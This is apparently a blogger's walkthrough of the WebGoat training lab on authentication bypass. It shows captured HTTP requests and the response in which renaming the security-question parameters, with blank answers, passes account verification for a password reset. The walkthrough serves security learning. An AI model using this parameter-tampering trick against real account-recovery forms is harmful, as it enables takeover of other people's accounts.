



# WebGoat Authentication Bypasses

Twitter: @BlackSheepSpicy

Twitch: <https://twitch.tv/BlackSheepSpicy>

## 2. Let's see what they got for us today:

### The Scenario

You are resetting your password, but doing it from a location or device that your provider does not recognize. So you need to answer the security questions you set up. The other issue is that those security questions are also stored on another device (not with you) and you don't remember them.

You have already provided your username/email and opted for the alternative verification method.

Verify Your Account by answering the questions below:

What is the name of your favorite teacher?

What is the name of the street you grew up on?

Mmkay, what's this form look like going over the wire?

```
POST /WebGoat/auth-bypass/verify-account HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/WebGoat/start.mvc
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 82
Cookie: JSESSIONID=F9182515E173805674D3D3B6190FC986
Connection: close

secQuestion0=&secQuestion1=&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
```

You can tell its a form by the way it is, thats pretty neat



To keep this write up short and sweet, I won't go over all the dumb shit I tried to get past this. Believe it or not what ended up working was changing the variable names. So instead of **secQuestion0** and **secQuestion1** if we change them to something like **secQuestion70** and **secQuestion71** and leave the input values blank it registers as correct answers and we can complete the challenge:

Request				Response		
Raw	Params	Headers	Hex	Raw	Headers	Hex
POST /WebGoat/auth-bypass/verify-account HTTP/1.1				HTTP/1.1 200		
Host: localhost:8080				X-Application-Context: application:8080		
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0				X-Content-Type-Options: nosniff		
Accept: */*				X-XSS-Protection: 1; mode=block		
Accept-Language: en-US,en;q=0.5				X-Frame-Options: DENY		
Accept-Encoding: gzip, deflate				Content-Type: application/json;charset=UTF-8		
Referer: http://localhost:8080/WebGoat/start.mvc				Date: Fri, 12 Jul 2019 09:08:05 GMT		
Content-Type: application/x-www-form-urlencoded; charset=UTF-8				Connection: close		
X-Requested-With: XMLHttpRequest				Content-Length: 185		
Content-Length: 84				{		
Cookie: JSESSIONID=F9182515E173805674D3D3B6190FC986				"lessonCompleted" : true,		
Connection: close				"feedback" : "Congrats, you have successfully verified the account without actually verifying it. You can now change your password!",		
secQuestion70=&secQuestion71=&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746				"output" : null		
				}		

So why does this work? After looking everywhere I can honestly say I have no idea. Maybe the questions are stored in an array with empty indexes or something on the backend? Regardless I hope you enjoyed this short and sweet write up and if you want to see me do these challenges live be sure to drop by my Twitch when I'm live and also follow my Twitter for some quality shitposting!

